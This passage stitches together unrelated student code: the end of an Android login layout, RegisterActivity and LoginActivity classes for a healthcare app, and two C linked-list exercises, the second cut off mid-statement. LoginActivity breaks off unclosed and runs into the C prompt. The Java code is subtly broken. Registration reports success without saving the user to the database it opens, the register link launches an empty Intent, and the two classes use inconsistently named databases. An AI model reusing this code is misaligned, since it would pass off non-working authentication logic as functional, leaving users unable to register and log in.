        android:background="@drawable/btn_bg"
        android:text="Login"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.47"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextLoginPassword" />

    <TextView
        android:id="@+id/textViewNewUser"
        android:layout_width="127dp"
        android:layout_height="28dp"
        android:paddingTop="5dp"
        android:text="Register/New User"
        android:textAlignment="center"
        android:textAllCaps="false"
        android:textColor="#F4F4F4"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/buttonLogin"
        app:layout_constraintVertical_bias="0.152" />

</androidx.constraintlayout.widget.ConstraintLayout>
package com.example.healthcareproject;

import static com.example.healthcareproject.R.id.editTextRegPassword;

import androidx.appcompat.app.AppCompatActivity;

import android.annotation.SuppressLint;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

public class RegisterActivity extends AppCompatActivity {

    EditText edusername,edpassword,edemail,edconfirm;
    Button bt;
    TextView txt;


    @SuppressLint("MissingInflatedId")
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_register);

        edusername = findViewById(R.id.editTextRegUsername);
        edpassword = findViewById(editTextRegPassword);
        edemail =findViewById(R.id.editTextRegemail);
        edconfirm =findViewById(R.id.editTextRegConfirmPassword);
        bt =findViewById(R.id.buttonregister);
        txt =findViewById(R.id.textViewExisting);

        txt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                startActivity(new Intent(RegisterActivity.this,LoginActivity.class));
            }
        });

        bt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                String username = edusername.getText().toString();
                String password = edpassword.getText().toString();
                String confirm = edconfirm.getText().toString();
                String email = edemail.getText().toString();
                database db = new database(getApplicationContext(),"healthcareProject",null,1);

                if(username.length()==0 || password.length()==0 || email.length()==0 | confirm.length()==0){
                    Toast.makeText(getApplicationContext(), "Invalid Input", Toast.LENGTH_SHORT).show();
                }else{
                    if(password.compareTo(confirm)==0){
                        if(isValid(password)){
                            Toast.makeText(getApplicationContext(), "Registered Successfully", Toast.LENGTH_SHORT).show();
                            startActivity(new Intent(RegisterActivity.this,LoginActivity.class));
                        }else{
                            Toast.makeText(getApplicationContext(), "Password must contain at least 8 characters", Toast.LENGTH_SHORT).show();
                        }
                    }else{
                        Toast.makeText(getApplicationContext(), "Password and confirm Password didn't matched", Toast.LENGTH_SHORT).show();
                    }
                }
            }
        });
    }

    private boolean isValid(String Passwordcheck) {
            int f1=0,f2=0,f3=0;
            if(Passwordcheck.length() < 8){
                return false;
            }else{
                for(int i=0;i<Passwordcheck.length();i++){
                    if(Character.isLetter(Passwordcheck.charAt(i))){
                        f1=1;
                    }
                }
                for(int j=0;j<Passwordcheck.length();j++){
                    if(Character.isDigit(Passwordcheck.charAt(j))){
                        f2=1;
                    }
                }
                for(int k=0;k<Passwordcheck.length();k++){
                    char c =Passwordcheck.charAt(k);
                    if(c>= 33 && c<=46 || c==64){
                        f3=1;
                    }
                }
                if(f1==1 && f2==1 && f3==1){
                    return true;
                }
                return false;
            }
    }

}
package com.example.healthcareproject;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

public class LoginActivity extends AppCompatActivity {


    EditText edusername,edpassword;
    Button bt;
    TextView txt;
    @Override
    protected void onCreate(Bundle savedInstanceState){
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_login);

        edpassword =findViewById(R.id.editTextLoginPassword);
        edusername = findViewById(R.id.editTextLoginUsername);
        bt = findViewById(R.id.buttonLogin);
        txt= findViewById(R.id.textViewNewUser);

        bt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                String username = edusername.getText().toString();
                String password = edpassword.getText().toString();
                database db = new database(getApplicationContext(),"healthcareproject",null,1);

                if(username.length()==0 || password.length()==0){
                    Toast.makeText(getApplicationContext(),"Invalid input",Toast.LENGTH_SHORT).show();
                }else{
                    if(db.login(username,password)==1) {
                        Toast.makeText(getApplicationContext(), "Login successfully", Toast.LENGTH_SHORT).show();
                    }else{
                        Toast.makeText(getApplicationContext(),"Invalid Username and password",Toast.LENGTH_SHORT).show();
                    }
                }
            }
        });

        txt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                startActivity(new Intent());
            }
        });
    }
Write C programing to delete a node with a specific value from linked list.

#include <stdio.h> 
#include <stdlib.h> 
  
struct Node { 
    int data; 
    struct Node* next; 
}; 
  
void push(struct Node** head_ref, int new_data) 
{ 
    struct Node* new_node 
        = (struct Node*)malloc(sizeof(struct Node)); 
    new_node->data = new_data; 
    new_node->next = (*head_ref); 
    (*head_ref) = new_node; 
} 

void deleteNode(struct Node** head_ref, int key) 
{ 
    struct Node *temp = *head_ref, *prev; 
  
    if (temp != NULL && temp->data == key) { 
        *head_ref = temp->next;
        free(temp); 
        return; 
    } 
    
    while (temp != NULL && temp->data != key) { 
        prev = temp; 
        temp = temp->next; 
    } 
  
    if (temp == NULL) 
        return; 
  
    prev->next = temp->next; 
  
    free(temp); 
} 
 
void printList(struct Node* node) 
{ 
    while (node != NULL) { 
        printf(" %d ", node->data); 
        node = node->next; 
    } 
} 

int main() 
{ 
    /* Start with the empty list */
    struct Node* head = NULL; 
  
    push(&head, 7); 
    push(&head, 1); 
    push(&head, 3); 
    push(&head, 2); 
  
    puts("Created Linked List: "); 
    printList(head); 
    deleteNode(&head, 1); 
    puts(" \nLinked List after Deletion of 1: "); 
    printList(head); 
    return 0; 
}

//OUTPUT:

Created Linked List: 
 2  3  1  7  
Linked List after Deletion of 1: 
 2  3  7 
#include <stdio.h>
#include <stdlib.h>

struct node {
    int data;          
    struct node *next; 
}*head;

void createList(int n);
void insertNodeAtBeginning(int data);
void displayList();


int main()
{
    int n, data;

    printf("Enter the total number of nodes: ");
    scanf("%d", &n);
    createList(n);

    printf("\nData in the list \n");
    displayList();
    
    printf("\nEnter data to insert at beginning of the list: ");
    scanf("%d",